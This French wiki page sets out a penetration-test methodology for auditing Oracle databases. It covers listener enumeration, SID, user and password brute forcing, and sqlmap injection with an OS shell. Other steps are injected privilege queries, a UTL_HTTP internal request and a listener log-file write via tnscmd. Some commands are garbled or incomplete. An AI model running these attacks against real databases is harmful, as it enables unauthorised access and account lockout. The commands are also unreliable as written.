User Tools

Site Tools


hack:oracle:methodologie_de_test

La démarche présentée ici se veut le fil conducteur de l'audit d'une base ORACLE selon une méthode structurée conduite en plusieurs étapes

= Découverte de la signature de la base #=

Avant toute attaque il est important de connaitre la technologie utilisée. Si l'auditeur ne connaît pas l'architecture de l'application auditée (test boîte noire) il convient de déterminer la base de données backend. Pour cela utiliser les méthodes de fingerprint des différentes bases de données présentées dans les sections du Testing Guide.

= Découverte du SID ou SERVICE_NAME #=

Pour se connecter à une base de données ORACLE il faut (en dehors d'un compte valide):

  • l'adresse Ip de la base
  • le port d'écoute (par défaut1521)
  • le SID ou le SERVICE_NAME

Ce dernier élément peut-être difficile à trouver s'il n'est pas extrait du code de configuration (test boîte blanche : fichier TNSNAME.ORA).

Pour cela il existe plusieurs techniques

Découverte du SID en utilisant le LISTENER

Si le LISTENER n'est pas correctement protégé il est possible de l'utiliser pour découvrir le SID ou le SERVICE_NAME de la base.

Pour déterminer si le LISTENER est correctement protégé il existe différents produits

Linux Backtrack Windows
Perl tnscmd,pl version -h [server] -p [port] lsnrcheck.exe de Integrigy Corporation

Si le LISTENER est accessible sans mot de passe il est possible d'essayer de récupérer le SID ou le NAME_SERVICE avec les commandes standard.

Linux Backtrack Windows
Perl tnscmd.pl status -h [server] -p [port] WinSID
Perl tnscmd.pl services -h [server] -p [port] <BR>

Si on ne parviens pas à trouver le SID on peut tenter de le brute forcer (avec des dictionnaires ou avec des scripts incrémentaux)

Linux Backtrack Windows
sidguess OAK ora-getsid.exe [server] [port] sidlist.txt {suffixe}
<BR> OAK ora-brutesid.exe [server] [port] [start] {sufixe}

Si on ne parviens pas à le brute forcer on peut essayer d'utiliser les logiciels tiers (cf. article DifferentwaystoguessOracledatabaseSID_(eng).pdf)

Injection SQL

Lorsque aucune des techniques précédentes ne réussi on peut essayer l'injection sql

Linux Backtrack Windows
Burpsuite <BR>
sqlmap <BR>

Au départ la technique employée est similaire à celle utilisée lors des tests Blind SQL.

Déterminer si l'application est vulnérable en injectant des commandes toujours vraies et toujours fausses assez similaires (1=1 ou 1=2) et observer la taille des réponses obtenues.

Si celles-ci sont très différentes cela signifie que la requête à été traiter par le backend SQL (encore une fois tester tous les paramètres en entrée)

Une fois qu'on a déterminé quels paramètres étaient vulnérables on utilise sqlmap pour récupérer les informations qu'il nous manque.

./sqlmap.py -u «http://site-test/urisuite1/urisuite2/page,php ?de=023 -p dep --prefix «' or 1=1»  --sufix «--» --dbms=ORACLE –os-shell

Traduction

-u = url vulnérable 
-p = paramètre vulnérable 
–prefix –sufix = enrobage des requêtes sql = la condition toujours vraie (le suffixe -- signifie pour Oracle que tout ce qui suit est du commentaire
–os-shell demande l'ouverture d'un shell permettant l'injection de commandes sql en interactif.

Après l'ouverture du shell on peut injecter les requêtes utiles à la découverte. :

Information récupérée Requête SQL injectée
user connecté à la base Select user from dual;
SID de la base SELECT SYS,DATABASE FROM DUAL;
Droits de l'utilisateur Select * from userroleprivs ;
Privilèges de l'utilisateur Select * from sessionprivs; | | Requête WEB effectuée en local permet de rayonner sur la DMZ| Select utlhtt,request('http:/127,0,0,1/') from dual;

Note: La table DUAL est une table spéciale d'une colonne présente par défaut dans toutes les installations de base de données Oracle. Elle est utile pour retourner le résultat d'une sélection simple telles que SYSDATE ou USER dans la pseudocolumn.

= Utilisation du TNSLSNR pour attaquer la base #=

Si le LISTENER accepte les connexions anonymes, il est possible d'attaquer la base au moyen des commandes de base

Attaque Commandes
ping tnscmd -h [server] -p [port]
version tnscmd version -h [server] -p [port]
Ecrire un fichier tnscmd version -h [server] -p [port] –rawcmd “(DESCRIPTION=(CONNECTDATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=logfile)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))” <BR> tnscmd version -h [server] -p [port] –rawcmd unix% tnscmd -h oraclebox.example.com –rawcmd “(CONNECT_DATA=(( + + ”
<BR> <BR>
<BR> <BR>
<BR> <BR>
<BR> <BR>

= Découverte des comptes utilisateurs #=

La découverte des comptes utilisateurs peut faire appel aux deux techniques présentées ci-dessus.

Par le LISTENER

On peut énumérer les utilisateurs existants (pas forcément actifs).

Linux Backtrack Windows
OAK ora-userenum.exe [server] [port] userlist.txt

Injection SQL

en utilisant sqlmap

./sqlmap.py -u «http://site-test/urisuite1/urisuite2/page,php ?de=023 -p dep --prefix «' or 1=1»  --sufix «--» --dbms=ORACLE 

= Découverte des mots de passe #=

En test boîte noire on peut tenter de découvrir les mots de passe par brute force

Linux Backtrack Windows
OAK ora-pwdbrute.exe [server] [port] passwords.txt

Si la base est protégée par un nombre limite de tentative de connexion, l'attaque par brute force peut aboutir à un blocage du compte.

hack/oracle/methodologie_de_test.txt · Last modified: 2019/03/11 15:58 by 127.0.0.1